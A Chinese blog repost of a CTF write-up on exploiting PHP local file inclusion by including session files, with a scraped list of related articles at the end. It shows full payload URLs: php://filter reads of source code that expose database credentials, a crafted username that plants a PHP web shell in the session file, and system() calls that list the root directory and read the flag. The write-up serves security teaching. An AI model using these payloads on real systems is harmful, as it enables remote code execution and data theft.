PHP文件包含 Session

首先了解一下PHP文件包含漏洞----包含session

利用条件:session文件路径已知,且其中内容部分可控。

姿势:

php的session文件的保存路径可以在phpinfo的session.save_path看到。

常见的php-session存放位置:

/var/lib/php/sess_PHPSESSID

/var/lib/php/sess_PHPSESSID

/tmp/sess_PHPSESSID

/tmp/sessions/sess_PHPSESSID

session 的文件名格式为 sess_[phpsessid]。而 phpsessid 在发送的请求的 cookie 字段中可以看到。

要包含并利用的话,需要能控制部分sesssion文件的内容。暂时没有通用的办法。有些时候,可以先包含进session文件,观察里面的内容,然后根据里面的字段来发现可控的变量,从而利用变量来写入payload,并之后再次包含从而执行php代码。

题目:

http://54.222.188.152:22589/

解题思路:

php伪协议读取源码

点击login,发现链接变为:

http://54.222.188.152:22589/index.php

?action=login.php

首先读取 login.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=login.php

得到login.php源码:

require_once('config.php');

session_start();if($_SESSION['username']) {

header('Location: index.php');

exit;

}if($_POST['username'] && $_POST['password']) {

$username= $_POST['username'];

$password= md5($_POST['password']);

$mysqli=@new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$sql= "select password from user where username=?";

$stmt= $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_password);

$stmt->execute();

$stmt->fetch();if ($res_password ==$password) {

$_SESSION['username'] =base64_encode($username);

header("location:index.php");

}else{

die("Invalid user name or password");

}

$stmt->close();

$mysqli->close();

}else{

?>

Login

"static/bootstrap.min.css" rel="stylesheet">

class="container" style="margin-top:100px">

"login.php" method="post" class="well" style="width:220px;margin:0px auto;">

Login

Username:

"text" name="username" style="height:30px"class="span3"/>

Password:

"password" name="password" style="height:30px" class="span3">

"submit" class="btn btn-primary">LOGIN

}

?>

读取 register.php 的源码

访问:

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=register.php

得到源码:

require_once('config.php');

$username= $_POST['username'];

$password= md5($_POST['password']);

$mysqli=@new mysqli($dbhost, $dbuser, $dbpass, $dbname);if ($mysqli->connect_errno) {

die("could not connect to the database:\n" . $mysqli->connect_error);

}

$mysqli->set_charset("utf8");

$sql= "select * from user where username=?";

$stmt= $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_id, $res_username, $res_password);

$stmt->execute();

$stmt->store_result();

$count= $stmt->num_rows();if($count) {

die('User name Already Exists');

}else{

$sql= "insert into user(username, password) values(?,?)";

$stmt= $mysqli->prepare($sql);

$stmt->bind_param("ss", $username, $password);

$stmt->execute();

echo'Register OK!Please Login';

}

$stmt->close();

$mysqli->close();

}else{

?>

Login

"static/bootstrap.min.css" rel="stylesheet">

class="container" style="margin-top:100px">

"register.php" method="post" class="well" style="width:220px;margin:0px auto;">

Register

Username:

"text" name="username" style="height:30px"class="span3"/>

Password:

"password" name="password" style="height:30px" class="span3">

"submit" class="btn btn-primary">REGISTER

}

?>

读取 config.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=config.php

得到源码:

$dbhost= 'localhost';

$dbuser= 'web';

$dbpass= 'webpass123';

$dbname= 'web';

?>

读取 index.php 的源码

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-encode/resource=index.php

源码:

error_reporting(0);

session_start();if (isset($_GET['action'])) {

include $_GET['action'];

exit();

}else{

?>

"en">

"utf-8">

Login

"viewport" content="width=device-width, initial-scale=1.0">

"css/bootstrap.css" rel="stylesheet" media="screen">

"css/main.css" rel="stylesheet" media="screen">

?php

}

?>

解题分析:

拿到了源码,首先进行简单的审计一下。

SQL注入?:

有登陆页面,不知道会不会有注入,简单看一下。

往往注册与登陆操作中会有与数据库交互的地方,这也是sql注入的常见引发点。

看一下register.php,这里仅截取部分代码:

#register.php

$mysqli->set_charset("utf8");

$sql= "select * from user where username=?";

$stmt= $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_id, $res_username, $res_password);

$stmt->execute();

$stmt->store_result();

再看一下login.php:

#login.php

$sql = "select password from user where username=?";

$stmt= $mysqli->prepare($sql);

$stmt->bind_param("s", $username);

$stmt->bind_result($res_password);

$stmt->execute();

$stmt->fetch();

这里都使用了PHP的PDO处理,因此这里存在sql注入的可能性很小。

session

接着再看看,有哪些参数是可控的。

在login.php中:

#第3行

session_start();if($_SESSION['username']) {

header('Location: index.php');

exit;

}#第8行

if($_POST['username'] && $_POST['password']) {

$username= $_POST['username'];#第20行

$stmt->bind_result($res_password);#第24行

if ($res_password ==$password) {

$_SESSION['username'] =base64_encode($username);

header("location:index.php");

这里使用了session来保存用户会话,php手册中是这样描述的:

PHP 会将会话中的数据设置到 $_SESSION 变量中。

当 PHP 停止的时候,它会自动读取 $_SESSION 中的内容,并将其进行序列化,然后发送给会话保存管理器来进行保存。

对于文件会话保存管理器,会将会话数据保存到配置项 session.save_path 所指定的位置。

考虑到变量$username是我们可控的,并且被设置到了$_SESSION中,因此我们输入的数据未经过滤的就被写入到了对应的sessioin文件中。结合前面的php文件包含,可以推测这里可以包含session文件。

要包含session文件,需要知道文件的路径。先注册一个用户,比如chybeta。等登陆成功后。记录下cookie中的PHPSESSID的值,这里为udu8pr09fjvabtoip8icgurt85

访问:

http://54.222.188.152:22589/index.php?action=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85

这个/var/lib/php5/的session文件路径是测试出来的,常见的也就是上面所述的几种。

base64_encode

能包含,并且控制session文件,但要写入可用的payload,还需要绕过:

$_SESSION['username'] = base64_encode($username);

如前面所示,输入的用户名会被base64加密。如果直接用php伪协议来解密整个session文件,由于序列化的前缀,势必导致乱码。

考虑一下base64的编码过程。比如编码abc。

未编码: abc

转成ascii码:97 98 99转成对应二进制(三组,每组8位):01100001 01100010 01100011重分组(四组,每组6位):011000 010110 001001 100011每组高位补零,变为每组8位:00011000 00010110 00001001 00100011每组对应转为十进制:24 22 9 35查表得: Y W J j

考虑一下session的前缀:username|s:12:",中间的数字12表示后面base64串的长度。当base64串的长度小于100时,前缀的长度固定为15个字符,当base64串的长度大于100小于1000时,前缀的长度固定为16个字符。

由于16个字符,恰好满足一下条件:

16个字符 => 16 * 6 = 96 位 => 96 mod 8 = 0

也就是说,当对session文件进行base64解密时,前16个字符固然被解密为乱码,但不会再影响从第17个字符后的部分也就是base64加密后的username。

Getflag

注册一个账号,比如:

chybetachybetachybetachybetachybetachybetachybetachybetachybeta'atebyhc']) ?>

其base64加密后的长度为128,大于100。

http://54.222.188.152:22589/index.php

?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=phpinfo();

成功getshell。

访问:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('ls /');

访问:

http://54.222.188.152:22589/index.php?action=php://filter/read=convert.base64-decode/resource=/var/lib/php5/sess_udu8pr09fjvabtoip8icgurt85&atebyhc=system('cat /fffflllllaaaagggg.txt');

小结

考了几个知识点:

php文件包含:伪协议利用

php文件包含:包含session文件

php-session知识及序列化格式

base64的基本原理

原文链接(https://chybeta.github.io/2017/11/09/%E4%B8%80%E9%81%93CTF%E9%A2%98%EF%BC%9APHP%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/)

任重而道远!

php文件包含session,CTF PHP文件包含--session相关推荐

  1. php文件包含读源码,CTF PHP文件包含--session

    PHP文件包含 Session 首先了解一下PHP文件包含漏洞----包含session 利用条件:session文件路径已知,且其中内容部分可控. 姿势: php的session文件的保存路径可以在 ...

  2. php session 前缀,PHP文件包含--session

    利用条件:session文件路径已知,且其中内容部分可控. php的session文件的保存路径可以在phpinfo的session.save_path看到. session 的文件名格式为 sess ...

  3. CTF之文件包含的猥琐思路

    From: i春秋 百度杯"CTF 一: <?php include "flag.php"; //包含flag.php这个文件 $a = @$_REQUEST['h ...

  4. base64 转文件_PHP伪协议与文件包含

    PHP伪协议与文件包含 PHP伪协议与文件包含 php:// 协议 php://input php://filter data:// 协议 file:// 协议 zip://.bzip2://.zli ...

  5. 【文件包含漏洞-03】文件包含漏洞的利用及如何利用本地文件包含漏洞GetShell

    文件包含漏洞的利用 读取敏感文件 我们可以利用文件包含漏洞读取任意文件,读取文件的时候有利用条件 目标主机文件存在(目标文件的路径.绝对路径.相对路径) 具有文件可读权限 提交参数http://loc ...

  6. python使用fpdf生成pdf文件章节(chapter),包含:页眉、页脚、章节主题、数据排版等;

    python使用fpdf生成pdf文件章节(chapter),包含:页眉.页脚.章节主题.数据排版等: #仿真数据 The year 1866 was marked by a bizarre deve ...

  7. 【Android 高性能音频】Oboe 开发流程 ( 包含头 Oboe 头文件 | 创建音频流 | 设置音频流 | 音频流回调类 AudioStreamCallback )

    文章目录 一.包含头 Oboe 头文件 二.音频流构建器 AudioStreamBuilder 三.音频流回调 AudioStreamCallback Oboe GitHub 主页 : GitHub/ ...

  8. c/c++源文件为何要包含自己的头文件?(编译器检查定义和声明的一致性)(编译报错:undefined reference to...)

    作用: 编译器检查定义和声明的一致性 参考文章并没有解释得很深入,应该从gcc/g++编译器的执行机制一步一步.来解析比较合适 参考文章:c源文件中为什么要包含自己对应的头文件 20211216 今天 ...

  9. ISE如何封装与使用IP —— 使用ngc文件与仅包含端口的v文件

    一. 为什么要封装IP IP封装后只能用不能改,也看不到源码,便于保护知识产权 封装之后不会再花时间综合源文件,节省了综合时间 二. ISE如何封装IP 步骤如下: 1)打开ISE,新建工程,添加源文 ...

最新文章

  1. 看看物联网架构,快速了解物联网
  2. 基于Redis的分布式锁到底安全吗(上)?
  3. oracle正确使用索引,通过案例学调优之--Oracle中null使用索引
  4. go语言中的匿名函数
  5. [Django]网页中利用ajax实现批量导入数据功能
  6. 诺奖得主:中国机制促成抗疫成功经济复苏
  7. css选择器的应用的实验,HTMLCSS实验(3)---掌握CSS选择器的使用方法
  8. 深度学习笔记(2) 神经网络基础
  9. python在docx指定位置插表格_超简单Python将指定数据插入到docx模板指定位置渲染并保存...
  10. ArrayList 的三种构造方法
  11. fatfs 文件属性_FATFS文件系统剖析(全).
  12. XJOI 3281 A * B Problem again 题解
  13. LeetCode4 寻找两个正序数组的中位数
  14. 屏幕录制专家——录制视频没声音的解决办法
  15. python,练习乌龟吃鱼
  16. java 注解 entity_详解Java中的注解
  17. qq音乐排行榜数据爬取
  18. 教你用Python如何完成一个查票系统实现123006自动抢票啦~
  19. C++禁止键盘和鼠标事件
  20. error: expected an identifier解决方法

热门文章

  1. 1.使用SQL语句创建表
  2. SpringBoot(13) - - SpringBoot 自定义异常处理
  3. 5G无线帧结构与空口资源
  4. 教育,需要 家-国 联手
  5. Java基础案例3-4:学生投票系统
  6. Google“员工”大曝内幕(精彩)
  7. ctfshow pwn——PWN签到题、pwn02
  8. smtplib python_python使用电子邮件模块smtplib的方法
  9. 第九届蓝桥杯C/C++B组---明码
  10. 广东中山市一手楼数月成交均价超出调控目标